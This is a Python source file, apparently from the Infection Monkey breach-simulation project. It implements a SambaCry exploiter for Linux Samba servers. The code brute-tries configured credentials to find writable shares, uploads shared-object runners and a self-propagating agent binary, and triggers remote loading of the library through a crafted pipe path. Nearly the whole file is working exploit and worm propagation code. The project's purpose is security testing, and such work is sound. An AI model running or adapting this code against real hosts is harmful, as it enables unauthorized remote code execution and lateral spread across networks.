monkey/chaos_monkey/exploit/sambacry.py

315 lines
13 KiB
Python
Raw Normal View History

from optparse import OptionParser
from impacket.dcerpc.v5 import transport
from os import path
import time
from impacket.smbconnection import SMBConnection
from impacket.smb import SessionError
from impacket.nt_errors import STATUS_OBJECT_NAME_NOT_FOUND, STATUS_ACCESS_DENIED
from impacket.nt_errors import STATUS_SUCCESS
from impacket.smb import FILE_OPEN, SMB_DIALECT, SMB, SMBCommand, SMBNtCreateAndX_Parameters, SMBNtCreateAndX_Data, \
FILE_READ_DATA, FILE_SHARE_READ, FILE_NON_DIRECTORY_FILE, FILE_WRITE_DATA, FILE_DIRECTORY_FILE
from impacket.smb3structs import SMB2_IL_IMPERSONATION, SMB2_CREATE, SMB2_FLAGS_DFS_OPERATIONS, SMB2Create, SMB2Packet, \
SMB2Create_Response, SMB2_OPLOCK_LEVEL_NONE, SMB2_SESSION_FLAG_ENCRYPT_DATA
from exploit import HostExploiter
from exploit.tools import get_target_monkey
from smbfinger import SMB_SERVICE
from model import DROPPER_ARG
from tools import build_monkey_commandline
import monkeyfs
from config import WormConfiguration
__author__ = 'itay.mizeretz'
# TODO: add documentation
# TODO: add logs
# TODO: add license credit?: https://github.com/CoreSecurity/impacket/blob/master/examples/sambaPipe.py
# TODO: remove /home/user
# TODO: take all from config
FOLDER_PATHS_TO_GUESS = ['', '/mnt', '/tmp', '/storage', '/export', '/share', '/shares', '/home', '/home/user']
RUNNER_FILENAME_32 = "monkey_runner32.so"
RUNNER_FILENAME_64 = "monkey_runner64.so"
COMMANDLINE_FILENAME = "monkey_commandline.txt"
MONKEY_FILENAME_32 = "monkey32"
MONKEY_FILENAME_64 = "monkey64"
MONKEY_COPY_FILENAME_32 = "monkey32_2"
MONKEY_COPY_FILENAME_64 = "monkey64_2"
SHARES_TO_NOT_CHECK = ["IPC$", "print$"]
class SambaCryExploiter(HostExploiter):
_target_os_type = ['linux']
def __init__(self):
pass
def exploit_host(self, host, depth=-1, src_path=None):
self.is_vulnerable(host)
writable_shares_creds_dict = self.get_writable_shares_creds_dict(host.ip_addr)
# TODO: decide about ignoring src_path because of arc detection bug
src_path = src_path or get_target_monkey(host)
for share in writable_shares_creds_dict:
self.try_exploit_share(host, share, writable_shares_creds_dict[share], src_path, depth)
# TODO: config sleep time
time.sleep(5)
for share in writable_shares_creds_dict:
self.clean_share(host.ip_addr, share, writable_shares_creds_dict[share])
def try_exploit_share(self, host, share, creds, monkey_bin_src_path, depth):
smb_client = self.connect_to_server(host.ip_addr, creds)
self.upload_module(smb_client, host, share, monkey_bin_src_path, depth)
self.trigger_module(smb_client, share)
smb_client.logoff()
def clean_share(self, ip, share, creds):
smb_client = self.connect_to_server(ip, creds)
tree_id = smb_client.connectTree(share)
file_list = [COMMANDLINE_FILENAME, RUNNER_FILENAME_32, RUNNER_FILENAME_64,
MONKEY_FILENAME_32, MONKEY_FILENAME_64,
MONKEY_COPY_FILENAME_32, MONKEY_COPY_FILENAME_64]
for filename in file_list:
try:
smb_client.deleteFile(share, "\\%s" % filename)
except:
# Ignore exception to try and delete as much as possible
pass
smb_client.disconnectTree(tree_id)
smb_client.logoff()
def get_writable_shares_creds_dict(self, ip):
# TODO: document
writable_shares_creds_dict = {}
credentials_list = self.get_credentials_list()
for credentials in credentials_list:
smb_client = self.connect_to_server(ip, credentials)
shares = self.list_shares(smb_client)
# don't try shares we can already write to.
for writable_share in writable_shares_creds_dict:
if writable_share in shares:
shares.remove(writable_share)
for share in shares:
if self.is_share_writable(smb_client, share):
writable_shares_creds_dict[share] = credentials
smb_client.logoff()
return writable_shares_creds_dict
def get_credentials_list(self):
user_password_pairs = WormConfiguration.get_exploit_user_password_pairs()
credentials_list = [{'username': '', 'password': '', 'lm_hash': '', 'ntlm_hash': ''}]
for user, password in user_password_pairs:
credentials_list.append({'username': user, 'password': password, 'lm_hash': '', 'ntlm_hash': ''})
return credentials_list
def list_shares(self, smb_client):
shares = [x['shi1_netname'][:-1] for x in smb_client.listShares()]
for share in SHARES_TO_NOT_CHECK:
if share in shares:
shares.remove(share)
return shares
def is_vulnerable(self, host):
if not host.services.has_key(SMB_SERVICE):
return False
# TODO: check if version is supported
# smb_server_name = host.services[SMB_SERVICE].get('name')
return True
def is_share_writable(self, smb_client, share):
# TODO: logs
#logging.debug('Checking %s for write access' % shareName)
try:
#logging.debug('Connecting to share %s' % shareName)
tree_id = smb_client.connectTree(share)
except Exception as e:
return False
try:
smb_client.openFile(tree_id, '\\', FILE_WRITE_DATA, creationOption=FILE_DIRECTORY_FILE)
writable = True
except Exception as e:
writable = False
pass
smb_client.disconnectTree(tree_id)
return writable
def upload_module(self, smb_client, host, share, monkey_bin_src_path, depth):
tree_id = smb_client.connectTree(share)
self.write_file_to_server(smb_client, share, COMMANDLINE_FILENAME, self.get_monkey_commandline_supplier(host, depth))
with self.get_monkey_runner_bin_file(True) as monkey_runner_bin_file:
self.write_file_to_server(smb_client, share, RUNNER_FILENAME_32, monkey_runner_bin_file.read)
with self.get_monkey_runner_bin_file(False) as monkey_runner_bin_file:
self.write_file_to_server(smb_client, share, RUNNER_FILENAME_64, monkey_runner_bin_file.read)
with monkeyfs.open(monkey_bin_src_path, "rb") as monkey_bin_file:
# TODO: Fix or postpone 32/64 architecture problem.
self.write_file_to_server(smb_client, share, MONKEY_FILENAME_32, monkey_bin_file.read)
self.write_file_to_server(smb_client, share, MONKEY_FILENAME_64, monkey_bin_file.read)
smb_client.disconnectTree(tree_id)
def write_file_to_server(self, smb_client, share, file_name, file_handle):
smb_client.putFile(share, "\\%s" % file_name, file_handle.read)
file_handle.close()
def connect_to_server(self, ip, credentials):
"""
Connects to server using given credentials
:param ip: IP of server
:param credentials: credentials to log in with
:return: SMBConnection object representing the connection
"""
smb_client = SMBConnection(ip, ip)
smb_client.login(credentials["username"], credentials["password"], '', credentials["lm_hash"], credentials["ntlm_hash"])
return smb_client
def trigger_module(self, smb_client, share_name):
trigger_might_succeeded = False
module_possible_paths = self.generate_module_possible_paths(share_name)
for module_path in module_possible_paths:
trigger_might_succeeded |= self.trigger_module_by_path(smb_client, module_path)
return trigger_might_succeeded
def trigger_module_by_path(self, smb_client, module_path):
"""
Tries triggering module by path
:param smb_client: smb client object
:param module_path: full path of the module. e.g. "/home/user/share/sc_module.so"
:return: False on unexpected exception. True otherwise
"""
try:
# the extra / on the beginning is required for the vulnerability
self.openPipe(smb_client, "/" + module_path)
except SessionError as e:
# This is the expected result. We can't tell whether we succeeded or not just by this error code.
if str(e).find('STATUS_OBJECT_NAME_NOT_FOUND') < 0:
return False
return True
@staticmethod
def generate_module_possible_paths(share_name):
"""
Generates array of possible paths
:param share_name: Name of the share
:return: Array of possible full paths to the module.
"""
possible_paths_32 =\
(('%s/%s/%s' % (folder_path, share_name, RUNNER_FILENAME_32)) for folder_path in FOLDER_PATHS_TO_GUESS)
possible_paths_64 = \
(('%s/%s/%s' % (folder_path, share_name, RUNNER_FILENAME_64)) for folder_path in FOLDER_PATHS_TO_GUESS)
return possible_paths_32 + possible_paths_64
@staticmethod
def get_monkey_runner_bin_file(is_32bit):
# TODO: get from config
if is_32bit:
return open("sc_monkey_runner32.so", "rb")
else:
return open("sc_monkey_runner64.so", "rb")
@staticmethod
def get_monkey_commandline_supplier(host, depth):
return lambda x: DROPPER_ARG + build_monkey_commandline(host, depth - 1)
# Following are slightly modified SMB functions from impacket to fit our needs of the vulnerability #
def createSmb(self, smb_client, treeId, fileName, desiredAccess, shareMode, creationOptions, creationDisposition, fileAttributes,
impersonationLevel=SMB2_IL_IMPERSONATION, securityFlags=0, oplockLevel=SMB2_OPLOCK_LEVEL_NONE,
createContexts=None):
packet = smb_client.getSMBServer().SMB_PACKET()
packet['Command'] = SMB2_CREATE
packet['TreeID'] = treeId
if smb_client._SMBConnection._Session['TreeConnectTable'][treeId]['IsDfsShare'] is True:
packet['Flags'] = SMB2_FLAGS_DFS_OPERATIONS
smb2Create = SMB2Create()
smb2Create['SecurityFlags'] = 0
smb2Create['RequestedOplockLevel'] = oplockLevel
smb2Create['ImpersonationLevel'] = impersonationLevel
smb2Create['DesiredAccess'] = desiredAccess
smb2Create['FileAttributes'] = fileAttributes
smb2Create['ShareAccess'] = shareMode
smb2Create['CreateDisposition'] = creationDisposition
smb2Create['CreateOptions'] = creationOptions
smb2Create['NameLength'] = len(fileName) * 2
if fileName != '':
smb2Create['Buffer'] = fileName.encode('utf-16le')
else:
smb2Create['Buffer'] = '\x00'
if createContexts is not None:
smb2Create['Buffer'] += createContexts
smb2Create['CreateContextsOffset'] = len(SMB2Packet()) + SMB2Create.SIZE + smb2Create['NameLength']
smb2Create['CreateContextsLength'] = len(createContexts)
else:
smb2Create['CreateContextsOffset'] = 0
smb2Create['CreateContextsLength'] = 0
packet['Data'] = smb2Create
packetID = smb_client.getSMBServer().sendSMB(packet)
ans = smb_client.getSMBServer().recvSMB(packetID)
if ans.isValidAnswer(STATUS_SUCCESS):
createResponse = SMB2Create_Response(ans['Data'])
# The client MUST generate a handle for the Open, and it MUST
# return success and the generated handle to the calling application.
# In our case, str(FileID)
return str(createResponse['FileID'])
def openPipe(self, smb_client, pathName):
# We need to overwrite Impacket's openFile functions since they automatically convert paths to NT style
# to make things easier for the caller. Not this time ;)
treeId = smb_client.connectTree('IPC$')
# TODO: uncomment
#logging.info('Final path to load is %s' % pathName)
#logging.info('Triggering bug now, cross your fingers')
if smb_client.getDialect() == SMB_DIALECT:
_, flags2 = smb_client.getSMBServer().get_flags()
pathName = pathName.encode('utf-16le') if flags2 & SMB.FLAGS2_UNICODE else pathName
ntCreate = SMBCommand(SMB.SMB_COM_NT_CREATE_ANDX)
ntCreate['Parameters'] = SMBNtCreateAndX_Parameters()
ntCreate['Data'] = SMBNtCreateAndX_Data(flags=flags2)
ntCreate['Parameters']['FileNameLength'] = len(pathName)
ntCreate['Parameters']['AccessMask'] = FILE_READ_DATA
ntCreate['Parameters']['FileAttributes'] = 0
ntCreate['Parameters']['ShareAccess'] = FILE_SHARE_READ
ntCreate['Parameters']['Disposition'] = FILE_NON_DIRECTORY_FILE
ntCreate['Parameters']['CreateOptions'] = FILE_OPEN
ntCreate['Parameters']['Impersonation'] = SMB2_IL_IMPERSONATION
ntCreate['Parameters']['SecurityFlags'] = 0
ntCreate['Parameters']['CreateFlags'] = 0x16
ntCreate['Data']['FileName'] = pathName
if flags2 & SMB.FLAGS2_UNICODE:
ntCreate['Data']['Pad'] = 0x0
return smb_client.getSMBServer().nt_create_andx(treeId, pathName, cmd=ntCreate)
else:
return self.createSmb(smb_client, treeId, pathName, desiredAccess=FILE_READ_DATA, shareMode=FILE_SHARE_READ,
creationOptions=FILE_OPEN, creationDisposition=FILE_NON_DIRECTORY_FILE, fileAttributes=0)